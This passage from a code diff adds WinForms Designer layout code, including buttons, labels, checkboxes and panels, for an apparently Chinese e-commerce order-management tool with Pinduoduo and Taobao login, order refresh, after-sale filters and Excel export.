System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx7.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx7.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx7.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx7.TabIndex = 676; + this.panelEx7.Text = "多多登录"; + this.panelEx7.Click += new System.EventHandler(this.btn_Click); + // + // pnlReadOrder + // + this.pnlReadOrder.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlReadOrder.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlReadOrder.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlReadOrder.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlReadOrder.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlReadOrder.Location = new System.Drawing.Point(378, 33); + this.pnlReadOrder.Name = "pnlReadOrder"; + this.pnlReadOrder.Size = new System.Drawing.Size(70, 21); + this.pnlReadOrder.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlReadOrder.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlReadOrder.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlReadOrder.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlReadOrder.Style.CornerDiameter = 1; + this.pnlReadOrder.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlReadOrder.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlReadOrder.Style.GradientAngle = 90; + this.pnlReadOrder.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlReadOrder.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlReadOrder.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlReadOrder.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlReadOrder.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlReadOrder.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlReadOrder.TabIndex = 672; + this.pnlReadOrder.Text = "读待拍单"; + this.pnlReadOrder.Click += new System.EventHandler(this.btn_Click); + // + // panelEx5 + // + this.panelEx5.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx5.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx5.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx5.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx5.Font = new System.Drawing.Font("微软雅黑", 10F); + this.panelEx5.Location = new System.Drawing.Point(378, 6); + this.panelEx5.Name = "panelEx5"; + this.panelEx5.Size = new System.Drawing.Size(70, 21); + this.panelEx5.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx5.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx5.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx5.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx5.Style.CornerDiameter = 1; + this.panelEx5.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx5.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx5.Style.GradientAngle = 90; + this.panelEx5.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx5.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx5.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx5.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx5.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx5.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx5.TabIndex = 668; + this.panelEx5.Text = "刷新订单"; + this.panelEx5.Click += new System.EventHandler(this.btn_Click); + // + // label8 + // + this.label8.BackColor = System.Drawing.Color.SkyBlue; + this.label8.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label8.ForeColor = System.Drawing.Color.Teal; + this.label8.Location = new System.Drawing.Point(371, 4); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(1, 101); + this.label8.TabIndex = 669; + this.label8.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label4.ForeColor = System.Drawing.Color.Teal; + this.label4.Location = new System.Drawing.Point(328, 44); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(32, 17); + this.label4.TabIndex = 665; + this.label4.Text = "授权"; + this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // btn + // + this.btn.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btn.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btn.Cursor = System.Windows.Forms.Cursors.Hand; + this.btn.DisabledBackColor = System.Drawing.Color.Empty; + this.btn.Font = new System.Drawing.Font("微软雅黑", 10F); + this.btn.Location = new System.Drawing.Point(327, 4); + this.btn.Name = "btn"; + this.btn.Size = new System.Drawing.Size(38, 37); + this.btn.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btn.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btn.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btn.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btn.Style.CornerDiameter = 1; + this.btn.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.btn.Style.ForeColor.Color = System.Drawing.Color.White; + this.btn.Style.GradientAngle = 90; + this.btn.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btn.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btn.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btn.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btn.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btn.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btn.TabIndex = 664; + this.btn.Text = "刷新\r\n店铺"; + this.btn.Click += new System.EventHandler(this.btn_Click); + // + // lbsqcount + // + this.lbsqcount.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbsqcount.ForeColor = System.Drawing.Color.Teal; + this.lbsqcount.Location = new System.Drawing.Point(329, 59); + this.lbsqcount.Name = "lbsqcount"; + this.lbsqcount.Size = new System.Drawing.Size(32, 17); + this.lbsqcount.TabIndex = 667; + this.lbsqcount.Text = "0"; + this.lbsqcount.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // lbwsqcount + // + this.lbwsqcount.AutoSize = true; + this.lbwsqcount.BackColor = System.Drawing.Color.Transparent; + this.lbwsqcount.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbwsqcount.ForeColor = System.Drawing.Color.Teal; + this.lbwsqcount.Location = new System.Drawing.Point(337, 89); + this.lbwsqcount.Name = "lbwsqcount"; + this.lbwsqcount.Size = new System.Drawing.Size(15, 17); + this.lbwsqcount.TabIndex = 668; + this.lbwsqcount.Text = "0"; + this.lbwsqcount.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // lblFactoryOrder + // + this.lblFactoryOrder.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lblFactoryOrder.AutoSize = true; + this.lblFactoryOrder.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblFactoryOrder.ForeColor = System.Drawing.Color.Black; + this.lblFactoryOrder.Location = new System.Drawing.Point(957, 33); + this.lblFactoryOrder.Name = "lblFactoryOrder"; + this.lblFactoryOrder.Size = new System.Drawing.Size(44, 17); + this.lblFactoryOrder.TabIndex = 950; + this.lblFactoryOrder.Text = "搜索:"; + this.lblFactoryOrder.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblFactoryOrder.Visible = false; + // + // pnlAfterSaleSelect + // + this.pnlAfterSaleSelect.Controls.Add(this.chkReadFinishedRefund); + this.pnlAfterSaleSelect.Controls.Add(this.checkBoxX3); + this.pnlAfterSaleSelect.Controls.Add(this.checkBoxX2); + this.pnlAfterSaleSelect.Controls.Add(this.checkBoxX1); + this.pnlAfterSaleSelect.Location = new System.Drawing.Point(677, 3); + this.pnlAfterSaleSelect.Name = "pnlAfterSaleSelect"; + this.pnlAfterSaleSelect.Size = new System.Drawing.Size(142, 99); + this.pnlAfterSaleSelect.TabIndex = 779; + this.pnlAfterSaleSelect.Visible = false; + // + // chkReadFinishedRefund + // + // + // + // + this.chkReadFinishedRefund.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkReadFinishedRefund.FocusCuesEnabled = false; + this.chkReadFinishedRefund.Location = new System.Drawing.Point(3, 2); + this.chkReadFinishedRefund.Name = "chkReadFinishedRefund"; + this.chkReadFinishedRefund.Size = new System.Drawing.Size(135, 23); + this.chkReadFinishedRefund.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkReadFinishedRefund.TabIndex = 3; + this.chkReadFinishedRefund.Text = "显示处理完成的售后"; + this.chkReadFinishedRefund.CheckedChanged += new System.EventHandler(this.chkReadFinish_CheckedChanged); + this.chkReadFinishedRefund.Click += new System.EventHandler(this.chkReadFinishedRefund_Click); + // + // checkBoxX3 + // + // + // + // + this.checkBoxX3.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.checkBoxX3.FocusCuesEnabled = false; + this.checkBoxX3.Location = new System.Drawing.Point(3, 52); + this.checkBoxX3.Name = "checkBoxX3"; + this.checkBoxX3.Size = new System.Drawing.Size(61, 23); + this.checkBoxX3.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.checkBoxX3.TabIndex = 2; + this.checkBoxX3.Text = "仲裁中"; + this.checkBoxX3.Visible = false; + this.checkBoxX3.CheckedChanged += new System.EventHandler(this.cbAfterSale_CheckedChanged); + // + // checkBoxX2 + // + // + // + // + this.checkBoxX2.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.checkBoxX2.FocusCuesEnabled = false; + this.checkBoxX2.Location = new System.Drawing.Point(3, 77); + this.checkBoxX2.Name = "checkBoxX2"; + this.checkBoxX2.Size = new System.Drawing.Size(135, 23); + this.checkBoxX2.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.checkBoxX2.TabIndex = 1; + this.checkBoxX2.Text = "售后关闭/不读取"; + this.checkBoxX2.Visible = false; + this.checkBoxX2.CheckedChanged += new System.EventHandler(this.cbAfterSale_CheckedChanged); + // + // checkBoxX1 + // + // + // + // + this.checkBoxX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.checkBoxX1.FocusCuesEnabled = false; + this.checkBoxX1.Location = new System.Drawing.Point(3, 27); + this.checkBoxX1.Name = "checkBoxX1"; + this.checkBoxX1.Size = new System.Drawing.Size(135, 23); + this.checkBoxX1.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.checkBoxX1.TabIndex = 0; + this.checkBoxX1.Text = "同意退款,退款成功"; + this.checkBoxX1.Visible = false; + this.checkBoxX1.CheckedChanged += new System.EventHandler(this.cbAfterSale_CheckedChanged); + // + // pnlSuccessSelect + // + this.pnlSuccessSelect.Controls.Add(this.cbcancel); + this.pnlSuccessSelect.Controls.Add(this.cbNotSigned); + this.pnlSuccessSelect.Controls.Add(this.cbSignedIn); + this.pnlSuccessSelect.Location = new System.Drawing.Point(674, 3); + this.pnlSuccessSelect.Name = "pnlSuccessSelect"; + this.pnlSuccessSelect.Size = new System.Drawing.Size(96, 72); + this.pnlSuccessSelect.TabIndex = 830; + // + // cbcancel + // + // + // + // + this.cbcancel.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.cbcancel.FocusCuesEnabled = false; + this.cbcancel.Location = new System.Drawing.Point(3, 48); + this.cbcancel.Name = "cbcancel"; + this.cbcancel.Size = new System.Drawing.Size(69, 23); + this.cbcancel.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cbcancel.TabIndex = 5; + this.cbcancel.Text = "已取消"; + this.cbcancel.CheckedChanged += new System.EventHandler(this.cbsuccess_CheckedChanged); + // + // cbNotSigned + // + // + // + // + this.cbNotSigned.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.cbNotSigned.FocusCuesEnabled = false; + this.cbNotSigned.Location = new System.Drawing.Point(3, 2); + this.cbNotSigned.Name = "cbNotSigned"; + this.cbNotSigned.Size = new System.Drawing.Size(69, 23); + this.cbNotSigned.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cbNotSigned.TabIndex = 4; + this.cbNotSigned.Text = "未签收"; + this.cbNotSigned.CheckedChanged += new System.EventHandler(this.cbsuccess_CheckedChanged); + // + // cbSignedIn + // + // + // + // + this.cbSignedIn.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.cbSignedIn.FocusCuesEnabled = false; + this.cbSignedIn.Location = new System.Drawing.Point(3, 25); + this.cbSignedIn.Name = "cbSignedIn"; + this.cbSignedIn.Size = new System.Drawing.Size(69, 23); + this.cbSignedIn.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cbSignedIn.TabIndex = 3; + this.cbSignedIn.Text = "已签收"; + this.cbSignedIn.CheckedChanged += new System.EventHandler(this.cbsuccess_CheckedChanged); + // + // pnlLoginPddPifa + // + this.pnlLoginPddPifa.Controls.Add(this.lbDelPddPifa); + this.pnlLoginPddPifa.Controls.Add(this.btnLoginPddPifa); + this.pnlLoginPddPifa.Controls.Add(this.cmbPddPifaBuyUser); + this.pnlLoginPddPifa.Location = new System.Drawing.Point(467, 29); + this.pnlLoginPddPifa.Name = "pnlLoginPddPifa"; + this.pnlLoginPddPifa.Size = new System.Drawing.Size(207, 25); + this.pnlLoginPddPifa.TabIndex = 892; + this.pnlLoginPddPifa.Visible = false; + // + // lbDelPddPifa + // + this.lbDelPddPifa.BackColor = System.Drawing.Color.Snow; + // + // + // + this.lbDelPddPifa.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lbDelPddPifa.Cursor = System.Windows.Forms.Cursors.Hand; + this.lbDelPddPifa.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbDelPddPifa.Location = new System.Drawing.Point(92, 1); + this.lbDelPddPifa.Name = "lbDelPddPifa"; + this.lbDelPddPifa.Size = new System.Drawing.Size(16, 23); + this.lbDelPddPifa.TabIndex = 811; + this.lbDelPddPifa.Text = "×"; + this.lbDelPddPifa.TextAlignment = System.Drawing.StringAlignment.Center; + this.lbDelPddPifa.Click += new System.EventHandler(this.lbDelPddPifa_Click); + // + // btnLoginPddPifa + // + this.btnLoginPddPifa.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnLoginPddPifa.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnLoginPddPifa.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnLoginPddPifa.DisabledBackColor = System.Drawing.Color.Empty; + this.btnLoginPddPifa.Font = new System.Drawing.Font("微软雅黑", 8F); + this.btnLoginPddPifa.Location = new System.Drawing.Point(129, 2); + this.btnLoginPddPifa.Name = "btnLoginPddPifa"; + this.btnLoginPddPifa.Size = new System.Drawing.Size(75, 21); + this.btnLoginPddPifa.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnLoginPddPifa.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnLoginPddPifa.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnLoginPddPifa.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnLoginPddPifa.Style.CornerDiameter = 1; + this.btnLoginPddPifa.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.btnLoginPddPifa.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnLoginPddPifa.Style.GradientAngle = 90; + this.btnLoginPddPifa.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnLoginPddPifa.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnLoginPddPifa.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnLoginPddPifa.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnLoginPddPifa.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnLoginPddPifa.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnLoginPddPifa.TabIndex = 809; + this.btnLoginPddPifa.Text = "多多批发登录"; + this.btnLoginPddPifa.Click += new System.EventHandler(this.btnLoginPddPifa_Click); + // + // cmbPddPifaBuyUser + // + this.cmbPddPifaBuyUser.BackColor = System.Drawing.Color.White; + this.cmbPddPifaBuyUser.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbPddPifaBuyUser.FormattingEnabled = true; + this.cmbPddPifaBuyUser.Location = new System.Drawing.Point(0, 0); + this.cmbPddPifaBuyUser.Name = "cmbPddPifaBuyUser"; + this.cmbPddPifaBuyUser.Size = new System.Drawing.Size(125, 25); + this.cmbPddPifaBuyUser.TabIndex = 810; + this.cmbPddPifaBuyUser.Text = "点击下拉切换"; + // + // pnlLoginTaobao + // + this.pnlLoginTaobao.Controls.Add(this.panelEx2); + this.pnlLoginTaobao.Controls.Add(this.lbtaobao); + this.pnlLoginTaobao.Controls.Add(this.cbtbBuyUser); + this.pnlLoginTaobao.Location = new System.Drawing.Point(467, 55); + this.pnlLoginTaobao.Name = "pnlLoginTaobao"; + this.pnlLoginTaobao.Size = new System.Drawing.Size(207, 25); + this.pnlLoginTaobao.TabIndex = 1078; + this.pnlLoginTaobao.Visible = false; + // + // panelEx2 + // + this.panelEx2.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx2.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx2.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx2.Font = new System.Drawing.Font("微软雅黑", 10F); + this.panelEx2.Location = new System.Drawing.Point(129, 2); + this.panelEx2.Name = "panelEx2"; + this.panelEx2.Size = new System.Drawing.Size(75, 21); + this.panelEx2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx2.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx2.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx2.Style.CornerDiameter = 1; + this.panelEx2.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx2.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx2.Style.GradientAngle = 90; + this.panelEx2.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx2.TabIndex = 680; + this.panelEx2.Text = "淘宝登录"; + this.panelEx2.Click += new System.EventHandler(this.btn_Click); + // + // lbtaobao + // + this.lbtaobao.BackColor = System.Drawing.Color.Snow; + // + // + // + this.lbtaobao.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lbtaobao.Cursor = System.Windows.Forms.Cursors.Hand; + this.lbtaobao.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbtaobao.Location = new System.Drawing.Point(92, 1); + this.lbtaobao.Name = "lbtaobao"; + this.lbtaobao.Size = new System.Drawing.Size(16, 23); + this.lbtaobao.TabIndex = 731; + this.lbtaobao.Text = "×"; + this.lbtaobao.TextAlignment = System.Drawing.StringAlignment.Center; + this.lbtaobao.Click += new System.EventHandler(this.lbtaobao_Click); + // + // cbtbBuyUser + // + this.cbtbBuyUser.BackColor = System.Drawing.Color.White; + this.cbtbBuyUser.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cbtbBuyUser.FormattingEnabled = true; + this.cbtbBuyUser.Location = new System.Drawing.Point(0, 0); + this.cbtbBuyUser.Name = "cbtbBuyUser"; + this.cbtbBuyUser.Size = new System.Drawing.Size(125, 25); + this.cbtbBuyUser.TabIndex = 730; + this.cbtbBuyUser.Text = "点击下拉切换"; + this.cbtbBuyUser.SelectedIndexChanged += new System.EventHandler(this.cbtbBuyUser_SelectedIndexChanged); + // + // chkUsePddPifa + // + this.chkUsePddPifa.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.chkUsePddPifa.AutoSize = true; + // + // + // + this.chkUsePddPifa.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkUsePddPifa.FocusCuesEnabled = false; + this.chkUsePddPifa.Location = new System.Drawing.Point(1127, 83); + this.chkUsePddPifa.Name = "chkUsePddPifa"; + this.chkUsePddPifa.Size = new System.Drawing.Size(101, 18); + this.chkUsePddPifa.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkUsePddPifa.TabIndex = 1106; + this.chkUsePddPifa.Text = "多多批发拍单"; + this.chkUsePddPifa.Visible = false; + this.chkUsePddPifa.CheckedChanged += new System.EventHandler(this.chkUsePddPifa_CheckedChanged); + // + // pnsku + // + this.pnsku.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.pnsku.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.pnsku.Controls.Add(this.pcskuimg); + this.pnsku.Location = new System.Drawing.Point(48, 259); + this.pnsku.Name = "pnsku"; + this.pnsku.Size = new System.Drawing.Size(220, 220); + this.pnsku.TabIndex = 7; + this.pnsku.Visible = false; + // + // pcskuimg + // + this.pcskuimg.Location = new System.Drawing.Point(2, 2); + this.pcskuimg.Name = "pcskuimg"; + this.pcskuimg.Size = new System.Drawing.Size(216, 216); + this.pcskuimg.TabIndex = 0; + this.pcskuimg.TabStop = false; + // + // pnlExportExcel + // + this.pnlExportExcel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlExportExcel.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlExportExcel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlExportExcel.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlExportExcel.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlExportExcel.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlExportExcel.Location = new System.Drawing.Point(841, 51); + this.pnlExportExcel.Name = "pnlExportExcel"; + this.pnlExportExcel.Size = new System.Drawing.Size(95, 21); + this.pnlExportExcel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlExportExcel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlExportExcel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlExportExcel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlExportExcel.Style.CornerDiameter = 1; + this.pnlExportExcel.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlExportExcel.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlExportExcel.Style.GradientAngle = 90; + this.pnlExportExcel.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlExportExcel.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlExportExcel.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlExportExcel.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlExportExcel.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlExportExcel.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlExportExcel.TabIndex = 711; + this.pnlExportExcel.Text = "导出excel"; + this.pnlExportExcel.Visible = false; + this.pnlExportExcel.Click += new System.EventHandler(this.pnlExportExcel_Click); + // + // pnlFactoryOrder + // + this.pnlFactoryOrder.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlFactoryOrder.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + 